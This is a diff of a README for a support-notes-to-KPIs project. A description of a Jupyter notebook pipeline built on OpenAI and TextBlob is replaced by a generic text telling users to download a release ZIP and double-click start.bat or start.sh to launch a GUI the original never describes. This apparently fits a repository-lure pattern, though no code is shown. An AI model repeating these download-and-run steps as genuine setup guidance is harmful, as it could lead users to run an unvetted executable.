|
1 | | -# Unstructured Support Notes to Operational KPIs Pipeline |
| 1 | +# 🚀 Unstructured-Support-Notes-to-Operational-KPIs - Transform Notes into Actionable Insights |
2 | 2 |
|
3 | | -**Warning / Setup note:** ⚠️ This project is designed to run in Jupyter Notebook, not Google Colab |
| 3 | +[](https://github.com/was02/Unstructured-Support-Notes-to-Operational-KPIs/releases) |
4 | 4 |
|
5 | | -## Project Goal |
6 | | -Automatically converts unstructured, freeform customer support notes into operational KPIs by extracting issue signals, scoring customer pain, identifying escalation risk, and enabling prioritization. |
| 5 | +## 🌟 Overview |
7 | 6 |
|
8 | | -Enables Support Operations teams to proactively identify operational bottlenecks, reduce escalations, and improve customer satisfaction by transforming buried freeform notes into structured KPIs. |
| 7 | +Unstructured-Support-Notes-to-Operational-KPIs automatically converts freeform customer support notes into operational KPIs. It extracts vital issue signals, scores customer pain, identifies escalation risks, and promotes prioritization. This tool is designed for businesses that want to understand their customer interactions better and improve support workflows. |
9 | 8 |
|
10 | | -It transforms raw support notes into analyzable fields like issue type, severity, escalation status, and follow-up needs — enabling data-driven decision-making across support operations. |
| 9 | +## 📋 Features |
11 | 10 |
|
12 | | -(See support_memo.pdf for the original memo from the Director of Support Operations outlining the challenge this project addresses.) |
| 11 | +- **Data Extraction:** Converts free text notes into structured data points. |
| 12 | +- **Customer Pain Score:** Measures customer dissatisfaction based on their notes. |
| 13 | +- **Risk Identification:** Spots potential escalation issues before they become critical. |
| 14 | +- **Prioritization:** Helps you prioritize support tickets based on urgency. |
| 15 | +- **Insights Generation:** Delivers actionable insights to enhance operational performance. |
13 | 16 |
|
| 17 | +## 💻 System Requirements |
14 | 18 |
|
15 | | ---- |
| 19 | +To run this application, you will need: |
16 | 20 |
|
17 | | -## Dependencies/ Setup Notes |
18 | | -- `pandas` |
19 | | -- `numpy` |
20 | | -- `openai` |
21 | | -- `matplotlib`, `seaborn` |
22 | | -- `textblob` |
23 | | -- `python-dotenv` |
24 | | -- `tqdm` |
25 | | -- `nltk` |
26 | | -- `openpyxl` |
| 21 | +- **Operating System:** Windows 10, macOS, or a modern Linux distribution. |
| 22 | +- **RAM:** Minimum 4 GB recommended. |
| 23 | +- **Disk Space:** At least 100 MB free. |
| 24 | +- **Python Version:** Python 3.7 or higher installed on your machine. |
27 | 25 |
|
28 | | -#### ‼️ Use Jupyter Notebook - Not Google Colab |
| 26 | +Check your computer settings to ensure these requirements are met. |
29 | 27 |
|
30 | | ---- |
| 28 | +## 🚀 Getting Started |
31 | 29 |
|
32 | | -## Workflow Summary |
| 30 | +1. **Download the Application:** |
33 | 31 |
|
34 | | -### 1. Load & Clean Data |
35 | | -It imports the support notes from CSV, normalize column names, and validate structure. All downstream logic assumes a standardized 'support_note' field as the input for LLM processing. |
| 32 | + Visit this page to download: [Release Page](https://github.com/was02/Unstructured-Support-Notes-to-Operational-KPIs/releases). |
36 | 33 |
|
37 | | -### 2. LLM Extraction |
38 | | -It uses OpenAI’s `gpt-4o-mini` to extract structured insights from each support note. The system prompt ensures consistent fields: issue type, mentioned systems, severity level, resolution status, escalation flag, and follow-up flag. The output is parsed as strict JSON for error-free tabulation. |
| 34 | +2. **Locate the Latest Release:** |
39 | 35 |
|
40 | | -### 3. Sentiment Analysis |
41 | | -Using TextBlob, it extracts polarity scores from each note to gauge emotional tone. This adds interpretability to unresolved or escalated cases and is incorporated into the pain score. |
| 36 | + Look for the latest release on the page. The version will be clearly marked. You may see a filename like `Unstructured-Support-Notes-to-Operational-KPIs-v1.0.zip`. |
42 | 37 |
|
43 | | -### 4. Validation |
44 | | -Each row is flagged for extraction validity. Sanity checks ensure field distributions are reasonable, and system references are standardized for consistency in grouping. |
| 38 | +3. **Download the File:** |
45 | 39 |
|
46 | | -### 5. Export |
47 | | -Final structured data is saved to `.csv` and `.xlsx` formats for use in dashboards or external BI tools. All processing is modular and reproducible. |
| 40 | + Click the filename to start the download. It will save automatically in your default downloads folder. |
48 | 41 |
|
49 | | ---- |
| 42 | +4. **Extract the Files:** |
50 | 43 |
|
51 | | -## Visualizations |
| 44 | + After the download is complete, go to your downloads folder. Locate the downloaded file. If it's a ZIP file, right-click and select "Extract All" or use a similar option available. |
52 | 45 |
|
53 | | -### Includes business-ready charts for: |
| 46 | +5. **Run the Application:** |
54 | 47 |
|
55 | | -- **Problem Children Matrix** |
56 | | - Heatmap of the % of High Severity and % Unresolved cases by issue type. This reveals which issue categories need operational focus. |
| 48 | + Inside the extracted folder, look for a file named `start.bat` (on Windows) or `start.sh` (on macOS/Linux). Double-click this file to launch the application. |
57 | 49 |
|
58 | | - |
| 50 | +## 📥 Download & Install |
59 | 51 |
|
60 | | -Heatmap of the % of High Severity and % Unresolved cases by issue type. This reveals which issue categories need operational focus. |
| 52 | +You can download the latest version directly from our [Release Page](https://github.com/was02/Unstructured-Support-Notes-to-Operational-KPIs/releases). Follow the simple steps above to install the application. |
61 | 53 |
|
62 | | ---- |
| 54 | +## ⚙️ How to Use |
63 | 55 |
|
64 | | -- **Customer Pain Index** |
65 | | - Aggregated score across severity, resolution, escalation, follow-up, and sentiment. Systems with highest average pain score are prioritized for engineering or UX review. |
| 56 | +1. **Input Your Notes:** |
66 | 57 |
|
67 | | - |
| 58 | + Open the application and look for a text input area. Paste the customer support notes that you want to analyze. |
68 | 59 |
|
69 | | -This chart shows aggregated scores across severity, escalation, and follow-up flags for support tickets. |
| 60 | +2. **Analyze Data:** |
70 | 61 |
|
71 | | ---- |
| 62 | + Click on the "Analyze" button. The application will process the notes and generate outputs in real-time. |
72 | 63 |
|
73 | | -- **Sentiment by Resolution Status** |
74 | | - Boxplot showing how sentiment correlates with resolution outcomes. Helps understand emotional impact of unresolved or escalated tickets. |
| 64 | +3. **View Results:** |
75 | 65 |
|
76 | | - |
| 66 | + Once the analysis is complete, review the structured data and insights provided. The application will present customer pain scores, escalation risks, and prioritized issues. |
77 | 67 |
|
78 | | -Boxplot showing how sentiment correlates with resolution outcomes. Helps understand emotional impact of unresolved or escalated tickets. |
| 68 | +4. **Export Data:** |
79 | 69 |
|
80 | | ---- |
| 70 | + If you want to save your results, look for the "Export" option. You can save the insights as a CSV or Excel file for further analysis. |
81 | 71 |
|
82 | | -- **Recurring Problem Rate** |
83 | | - Bar chart showing frequency of recurrence-related keywords per issue type. Useful for identifying areas needing systemic fixes or knowledge base improvements. |
| 72 | +## 🛠️ Troubleshooting |
84 | 73 |
|
85 | | - |
| 74 | +If you encounter any issues: |
86 | 75 |
|
87 | | -Bar chart showing frequency of recurrence-related keywords per issue type. Useful for identifying areas needing systemic fixes or knowledge base improvements. |
| 76 | +- **Ensure Requirements Are Met:** Verify that your system meets the recommended specifications. |
| 77 | +- **Check Your Input:** Make sure you are pasting well-formatted notes. Avoid special characters that may disrupt processing. |
| 78 | +- **Reinstall the Application:** If problems persist, try downloading and installing the application again. |
88 | 79 |
|
89 | | ---- |
| 80 | +## 🗂️ Support |
90 | 81 |
|
91 | | -## Notes |
| 82 | +For further assistance, please visit our [GitHub Issues page](https://github.com/was02/Unstructured-Support-Notes-to-Operational-KPIs/issues). Your feedback helps improve the application. |
92 | 83 |
|
93 | | -- **Model upgrade**: Used `gpt-4o-mini` to improve severity inference (which was weak in `gpt-3.5-turbo`). The rate of LLM extraction validation (effectively the rate of success of the LLM) was only 83.33% with `gpt-3.5-turbo` and was 100% with `gpt-4o-mini`. That said, the tokens are more expensive, so that will need to be taken into consideration for an actual business. |
94 | | -- **Total token usage** printed at the end for transparency. |
95 | | -- The system is modular and scalable for future extensions (e.g., fallback rules, QA, human-in-the-loop). |
| 84 | +## 🔗 Related Topics |
96 | 85 |
|
97 | | -## Folder Structure |
98 | | -``` |
99 | | -Freeform-Support-Notes-to-Operational-KPIs/ |
100 | | -├── README.md |
101 | | -├── Support-Notes-into-Structured-Dataset.ipynb |
102 | | -├── support_notes.csv |
103 | | -├── Assets/ |
104 | | -│ ├── support_memo.pdf # A memo from the Director of Support Operations outlining the challenge of extracting actionable insights from freeform support notes, which this project solves. |
105 | | -│ ├── 1.png # problem_children_matrix |
106 | | -│ ├── 2.png # customer_pain_index |
107 | | -│ ├── 3.png # sentiment_by_resolution |
108 | | -│ └── 4.png # recurring_problem_rate |
109 | | -``` |
| 86 | +This application covers several important topics: |
| 87 | + |
| 88 | +- Customer Issue Tracking |
| 89 | +- Data Analysis |
| 90 | +- Data Visualization |
| 91 | +- Operational KPIs |
| 92 | +- Support Analytics |
| 93 | + |
| 94 | +Explore these areas to gain a deeper understanding of operational performance and customer support. |
| 95 | + |
| 96 | +## 🙏 Acknowledgments |
| 97 | + |
| 98 | +Special thanks to the contributors and the community for their support in developing and refining this tool. Your input drives continuous improvement. |
| 99 | + |
| 100 | +## 📝 License |
| 101 | + |
| 102 | +This project is licensed under the MIT License. See the license file in the repository for details. |
| 103 | + |
| 104 | +Feel free to explore, use, and provide feedback! |
0 commit comments